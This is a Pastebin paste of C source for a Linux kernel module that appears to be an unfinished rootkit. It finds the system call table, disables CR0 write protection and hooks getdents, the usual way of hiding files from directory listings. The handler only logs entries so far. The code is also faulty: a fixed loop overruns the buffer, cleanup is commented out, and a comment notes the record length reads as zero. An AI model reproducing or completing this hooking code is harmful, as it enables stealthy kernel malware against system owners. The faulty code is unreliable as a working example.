Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <linux/init.h>
- #include <linux/module.h>
- #include <linux/syscalls.h>
- #include <linux/kallsyms.h>
- #include <linux/slab.h>
- #include <linux/kern_levels.h>
- #include <linux/gfp.h>
- #include <asm/unistd.h>
- #include <asm/paravirt.h>
- #include <linux/kernel.h>
- MODULE_LICENSE("GPL");
- struct linux_dirent {
- unsigned long d_ino;
- unsigned long d_off;
- unsigned short d_reclen;
- char d_name[];
- };
- #define GETDENTS_SYSCALL_NUM __NR_getdents
- void **sc_table;
- // function type for the getdents handler function
- asmlinkage int ( *orig_getdents )(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);
- /*
- * Following section is for memory protection enable/disable
- */
- inline void mywrite_cr0(unsigned long cr0) {
- asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
- }
- void enable_write_protection(void) {
- unsigned long cr0 = read_cr0();
- set_bit(16, &cr0);
- mywrite_cr0(cr0);
- }
- void disable_write_protection(void) {
- unsigned long cr0 = read_cr0();
- clear_bit(16, &cr0);
- mywrite_cr0(cr0);
- }
- // our new getdents handler
- asmlinkage int sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {
- struct linux_dirent *retn, *dirp3;
- // unsigned long Records;
- int Records, RemainingBytes;
- unsigned short length;
- Records = (*orig_getdents)(fd, dirent, count);
- //printk(KERN_INFO "Inside sys_getdents_new : %d", Records);
- //printk(KERN_INFO "dirent lenght : %hu", dirent->d_reclen);
- if (Records <= 0){
- printk(KERN_INFO "Record is 0 or less");
- return Records;
- }
- // allocating retn (with the size of Record), in kernel memory
- retn = (struct linux_dirent *) kmalloc(Records, GFP_KERNEL);
- // coping the content of dirent --> (to) --> rent
- copy_from_user(retn, dirent, Records);
- printk(KERN_INFO "retn->d_reclen %hu", retn->d_reclen);
- printk(KERN_INFO "retn->d_name %s", retn->d_name);
- RemainingBytes = Records;
- int i=100;
- // As retn->d_reclen always yields 0, RemainingBytes remains the same causing infinite loop
- // while(RemainingBytes > 0){
- while(i > 0){
- RemainingBytes -= retn->d_reclen;
- printk(KERN_INFO "RemainingBytes %d \t File: %s " , RemainingBytes , retn->d_name );
- retn = (struct linux_dirent *) ((char *)retn + retn->d_reclen);
- printk(KERN_INFO "Next decrease from RemainingBytes %d " , retn->d_reclen);
- i--;
- }
- // Copy the record back to the origional struct
- //copy_to_user(dirent, retn, Records);
- //kfree(retn);
- return Records;
- }
- static int __init kit_start(void)
- {
- // get sys_call_address
- sc_table = (void **)kallsyms_lookup_name("sys_call_table");
- printk(KERN_INFO "System call table address: %p", sc_table);
- // record the original getdents handler
- orig_getdents = (void*)sc_table[GETDENTS_SYSCALL_NUM]; // __NR_getdents
- printk(KERN_INFO "original sys_getdents %p", orig_getdents);
- printk(KERN_INFO "original table getdents %p", sc_table[GETDENTS_SYSCALL_NUM]);
- disable_write_protection();
- // hooking our handler in place of sys_getdents
- sc_table[GETDENTS_SYSCALL_NUM]=&sys_getdents_new;
- enable_write_protection();
- return 0;
- }
- /*delete module rmmod*/
- void __exit kit_exit(void)
- {
- printk(KERN_INFO "Exiting");
- disable_write_protection();
- sc_table[GETDENTS_SYSCALL_NUM] = orig_getdents;
- enable_write_protection();
- }
- module_init(kit_start);
- module_exit(kit_exit);
Advertisement
Add Comment
Please, Sign In to add comment